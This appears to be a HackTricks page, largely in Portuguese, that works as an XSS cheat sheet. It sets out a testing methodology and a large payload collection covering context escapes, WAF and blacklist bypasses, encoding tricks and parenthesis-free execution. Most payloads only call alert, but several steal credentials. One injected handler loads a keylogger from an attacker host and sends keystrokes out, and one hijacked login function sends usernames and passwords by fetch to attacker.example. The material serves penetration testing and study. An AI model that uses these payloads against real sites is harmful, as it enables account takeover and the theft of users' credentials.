%.*s
XSS (Cross Site Scripting)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Metodologia
- Verifique se algum valor que você controla (parameters, path, headers?, cookies?) está sendo refletido no HTML ou usado por código JS.
- Encontre o contexto onde ele é refletido/usado.
- Se for refletido
- Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:
- Em raw HTML:
- Você pode criar novas tags HTML?
- Pode usar eventos ou atributos que suportem o protocolo
javascript:? - Consegue contornar proteções?
- O conteúdo HTML está sendo interpretado por algum engine de JS no lado cliente (AngularJS, VueJS, Mavo…)? Você poderia abusar de um Client Side Template Injection.
- Se você não pode criar tags HTML que executem código JS, poderia abusar de um Dangling Markup - HTML scriptless injection?
- Dentro de uma tag HTML:
- Você consegue sair para o contexto de raw HTML?
- Pode criar novos eventos/atributos para executar código JS?
- O atributo onde você está preso suporta execução de JS?
- Consegue contornar proteções?
- Dentro de código JavaScript:
- Você consegue escapar a tag
<script>? - Você consegue escapar a string e executar outro código JS?
- Seu input está em template literals ``?
- Consegue contornar proteções?
- Função Javascript sendo executada
- Você pode indicar o nome da função a ser executada. ex.:
?callback=alert(1) - Se for usado:
- Você pode explorar um DOM XSS, preste atenção em como seu input é controlado e se seu input controlado é usado por algum sink.
Ao trabalhar em um XSS complexo pode ser interessante saber sobre:
Valores refletidos
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um valor controlado por você que está sendo refletido na página web.
- Refletido intermitentemente: Se você descobrir que o valor de um parâmetro ou mesmo do path está sendo refletido na página web, você pode explorar um Reflected XSS.
- Armazenado e refletido: Se você encontrar um valor controlado por você que é salvo no servidor e é refletido toda vez que a página é acessada, você pode explorar um Stored XSS.
- Acessado via JS: Se você encontrar um valor controlado por você que é acessado usando JS, você pode explorar um DOM XSS.
Contextos
Ao tentar explorar um XSS, a primeira coisa que você precisa saber é onde seu input está sendo refletido. Dependendo do contexto, você conseguirá executar código JS arbitrário de maneiras diferentes.
Raw HTML
Se seu input é refletido no HTML cru da página, você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script … estas são apenas algumas das muitas tags HTML possíveis que você pode usar.
Também, lembre-se do Client Side Template Injection.
Dentro do atributo de tags HTML
Se seu input é refletido dentro do valor do atributo de uma tag, você pode tentar:
- Escapar do atributo e da tag (então você estará no raw HTML) e criar nova tag HTML para abusar:
"><img [...] - Se você consegue escapar do atributo mas não da tag (
>está codificado ou deletado), dependendo da tag você pode criar um evento que execute código JS:" autofocus onfocus=alert(1) x=" - Se você não consegue escapar do atributo (
"está sendo codificado ou deletado), então dependendo de qual atributo seu valor está sendo refletido — e se você controla todo o valor ou apenas uma parte — você poderá abusar dele. Por exemplo, se você controla um evento comoonclick=você poderá fazê-lo executar código arbitrário quando for clicado. Outro exemplo interessante é o atributohref, onde você pode usar o protocolojavascript:para executar código arbitrário:href="javascript:alert(1)" - Se seu input é refletido dentro de “tags inexplotáveis” você pode tentar o truque do
accesskeypara abusar da vulnerabilidade (você vai precisar de algum tipo de engenharia social para explorar isso):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Uma página corporativa de login SSO refletia o parâmetro OAuth service dentro do atributo href de <a id="forgot_btn" ...>. Embora < e > fossem codificados em HTML, aspas duplas não foram, então o atacante pôde fechar o atributo e reutilizar o mesmo elemento para injetar handlers como " onfocus="payload" x=".
- Injetar o handler: Payloads simples como
onclick="print(1)"foram bloqueados, mas o WAF inspecionava apenas a primeira instrução JavaScript em atributos inline. Prefixar uma expressão inócua entre parênteses, seguida de ponto-e-vírgula, permitiu que o payload real fosse executado:onfocus="(history.length);malicious_code_here". - Auto-dispará-lo: Browsers focam qualquer elemento cujo
idcorresponda ao fragmento, então acrescentar#forgot_btnà URL de exploração força o anchor a receber foco no carregamento da página e executa o handler sem requerer um clique. - Manter o stub inline pequeno: O alvo já incluía jQuery. O handler só precisava iniciar uma requisição via
$.getScript(...)enquanto o keylogger completo vivia no servidor do atacante.
Construindo strings sem aspas
Aspas simples eram retornadas codificadas na URL e aspas duplas escapadas corrompiam o atributo, então o payload gerava cada string com String.fromCharCode. Uma função auxiliar facilita converter qualquer URL em códigos de caracteres antes de colá-la no atributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Um atributo resultante ficou assim:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Por que isso rouba credenciais
O script externo (carregado de um host controlado pelo atacante ou Burp Collaborator) interceptou document.onkeypress, armazenou os pressionamentos de tecla, e a cada segundo enviou new Image().src = collaborator_url + keys. Como o XSS só é disparado para usuários não autenticados, a ação sensível é o próprio formulário de login — o atacante keylogs usernames and passwords mesmo se a vítima nunca pressionar “Login”.
Exemplo estranho do Angular executando XSS se você controla um nome de classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dentro do código JavaScript
Neste caso sua entrada é refletida entre <script> [...] </script> tags de uma página HTML, dentro de um arquivo .js ou dentro de um atributo usando o protocolo javascript::
- Se refletido entre
<script> [...] </script>tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar</script>e escapar desse contexto. Isso funciona porque o navegador primeiro vai parsear as tags HTML e depois o conteúdo, portanto, ele não vai notar que sua tag</script>injetada está dentro do código HTML. - Se refletido dentro de uma JS string e o truque anterior não estiver funcionando, você precisará sair da string, executar seu código e reconstruir o código JS (se houver qualquer erro, ele não será executado:
'-alert(1)-'';-alert(1)//\';alert(1)//- Se refletido dentro de template literals você pode embed JS expressions usando a sintaxe
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting refere-se à oportunidade de declarar funções, variáveis ou classes depois de serem usadas, para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.
Consulte a página seguinte para mais informações:
Função Javascript
Várias páginas web têm endpoints que aceitam como parâmetro o nome da função a executar. Um exemplo comum na prática é algo como: ?callback=callbackFunc.
Uma boa forma de descobrir se algo fornecido diretamente pelo usuário está sendo executado é modificar o valor do parâmetro (por exemplo para ‘Vulnerable’) e observar no console erros como:
.png)
No caso de ser vulnerável, você pode ser capaz de disparar um alert apenas enviando o valor: ?callback=alert(1). No entanto, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e underscores ([\w\._]).
No entanto, mesmo com essa limitação ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:
.png)
Algumas funções úteis para isso:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Você também pode tentar trigger Javascript functions diretamente: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Universal XSS
These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Nota: Um comentário HTML pode ser fechado usando****-->****ou **--!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Mas, se tags/attributes black/whitelisting estiverem sendo usados, você precisará brute-force which tags que pode criar.
Uma vez que tenha located which tags are allowed, você precisará brute-force attributes/events dentro das tags válidas encontradas para ver como pode atacar o contexto.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focar nesse objeto e executar o código:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Se algum tipo de blacklist estiver sendo usado, você pode tentar bypass com alguns truques bobos:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Mais payloads tiny XSS para diferentes ambientes podem ser encontrados aqui e aqui.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
O último está usando 2 caracteres unicode que se expandem para 5: telsr
Mais desses caracteres podem ser encontrados here.
Para verificar em quais caracteres eles são decompostos confira here.
Click XSS - Clickjacking
Se, para explorar a vulnerabilidade, você precisa que o usuário clique em um link ou em um formulário com dados pré-populados, você poderia tentar abuse Clickjacking (se a página for vulnerável).
Impossível - Dangling Markup
Se você acha que é impossível criar uma tag HTML com um atributo para executar JS code, você deve verificar Danglig Markup porque você poderia exploit a vulnerabilidade sem executar JS code.
Injetando dentro da tag HTML
Dentro da tag/escapando do valor do atributo
Se você está dentro de uma tag HTML, a primeira coisa que pode tentar é escapar da tag e usar algumas das técnicas mencionadas na previous section para executar JS code.
Se você não consegue escapar da tag, você pode criar novos atributos dentro da tag para tentar executar JS code, por exemplo usando algum payload como (note que neste exemplo aspas duplas são usadas para escapar do atributo; você não as precisará se sua entrada for refletida diretamente dentro da tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventos de estilo
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dentro do atributo
Mesmo que você não consiga escapar do atributo (" está sendo codificado ou removido), dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. Por exemplo, se você controla um evento como onclick= você conseguirá fazê-lo executar código arbitrário quando for clicado.
Outro interessante exemplo é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"
Bypass dentro do evento usando HTML encoding/URL encode
Os caracteres codificados em HTML dentro do valor dos atributos das tags HTML são decodificados em tempo de execução. Portanto algo como o seguinte será válido (o payload está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Observe que qualquer tipo de codificação HTML é válida:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Observe que URL encode também funcionará:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass dentro do evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolos Especiais Dentro do atributo
Lá você pode usar os protocolos javascript: ou data: em alguns lugares para executar código JS arbitrário. Alguns vão exigir interação do usuário; outros não.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lugares onde você pode injetar esses protocolos
Em geral o protocolo javascript: pode ser usado em qualquer tag que aceite o atributo href e na maioria das tags que aceitam o atributo src (mas não <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Outros truques de ofuscação
Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.
<a href="javascript:var a=''-alert(1)-''">
Além disso, há outro truque útil para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo URL encoded, ela será URL decoded antes de ser executada. Então, se você precisa fazer escape da string usando uma single quote e percebe que está sendo URL encoded, lembre-se que isso não importa, ela será interpretada como uma single quote durante o tempo de execução.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Observe que se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload isso não vai funcionar, mas você pode misturá-los dentro do payload.
Usando Hex e Octal encode com javascript:
Você pode usar Hex e Octal encode dentro do atributo src de iframe (pelo menos) para declarar HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se você conseguir injetar qualquer URL em uma tag arbitrária <a href= que contenha os atributos target="_blank" and rel="opener", consulte a seguinte página para explorar esse comportamento:
on Event Handlers Bypass
Primeiro verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para “on” event handlers úteis.
Caso exista alguma blacklist impedindo você de criar esses event handlers, você pode tentar os seguintes bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS em “Unexploitable tags” (hidden input, link, canonical, meta)
A partir de here agora é possível abusar de hidden inputs com:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E em meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
A partir de here: Você pode executar um XSS payload inside a hidden attribute, desde que consiga persuadir a vítima a pressionar a combinação de teclas. No Firefox Windows/Linux a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no access key attribute. Aqui está o vetor:
<input type="hidden" accesskey="X" onclick="alert(1)">
O XSS payload será algo como isto: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Vários truques usando diferentes encoding já foram expostos dentro desta seção. Volte para aprender onde você pode usar:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses para HTML tags and attributes
Leia a Blacklist Bypasses of the previous section.
Bypasses para JavaScript code
Leia a JavaScript bypass blacklist of the following section.
CSS-Gadgets
Se você encontrou um XSS em uma parte muito pequena do site que requer algum tipo de interação (talvez um pequeno link no footer com um elemento onmouseover), você pode tentar modificar o espaço que esse elemento ocupa para maximizar as probabilidades de que o link seja acionado.
Por exemplo, você poderia adicionar algum styling no elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mas, se o WAF estiver filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
.test {display:block; color: blue; width: 100%}
e
#someid {top: 0; font-family: Tahoma;}
Agora você pode modificar nosso link e trazê-lo para a forma
<a href=“” id=someid class=test onclick=alert() a=“”>
Esse truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injetando dentro de código JavaScript
Nesses casos seu input será refletido dentro do JS code de um arquivo .js ou entre tags <script>...</script> ou entre eventos HTML que podem executar JS code ou entre atributos que aceitam o protocolo javascript:.
Escapando da tag <script>
Se seu código for inserido dentro de <script> [...] var input = 'reflected data' [...] </script> você pode facilmente escapar do fechamento da <script> tag:
</script><img src=1 onerror=alert(document.domain)>
Observe que, neste exemplo, nem sequer fechamos a aspa simples. Isso porque a análise de HTML é realizada primeiro pelo navegador, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts incorporados só é feita depois.
Dentro do código JS
Se <> estiverem sendo sanitizados, você ainda pode escapar a string onde sua entrada está sendo localizada e executar JS arbitrário. É importante corrigir a sintaxe do JS, porque se houver algum erro, o código JS não será executado:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando a entrada do usuário cai dentro de uma string JavaScript entre aspas (por exemplo, server-side echo dentro de um inline script), você pode terminar a string, injetar código e reparar a sintaxe para manter a análise sintática válida. Esqueleto genérico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma string JS:
?param=test";<INJECTION>;a="
Isso executa attacker JS sem precisar tocar o HTML context (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filters bloquearem keywords.
Template literals ``
Para construir strings apart from single and double quotes o JS também aceita backticks `` . Isso é conhecido como template literals pois permitem embedded JS expressions usando a sintaxe ${ ... }.\
Portanto, se você encontrar que sua entrada está sendo reflected dentro de uma JS string que está usando backticks, você pode abusar da sintaxe ${ ... } para executar arbitrary JS code:
Isso pode ser abused usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Execução de código codificado
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payloads entregáveis com eval(atob()) e nuances de escopo
Para manter URLs mais curtas e contornar filtros de palavra-chave ingênuos, você pode base64-encode sua lógica real e avaliá-la com eval(atob('...')). Se uma filtragem simples por palavra-chave bloquear identificadores como alert, eval ou atob, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evadem filtros de correspondência por string:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Observação importante sobre escopo: const/let declarados dentro de eval() têm escopo de bloco e NÃO criam globals; eles não estarão acessíveis para scripts posteriores. Use um elemento <script> injetado dinamicamente para definir global, non-rebindable hooks quando necessário (por exemplo, para hijackar um form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referência: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode — execução de JS
alert(1)
alert(1)
alert(1)
Técnicas de bypass de blacklists em JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escapes especiais
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Substituições de espaço dentro de código JS
<TAB>
/**/
JavaScript comments (do JavaScript Comments truque)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (de JavaScript new line truque)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Espaços em branco em JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dentro de um comentário
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sem parênteses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Chamada arbitrária de função (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
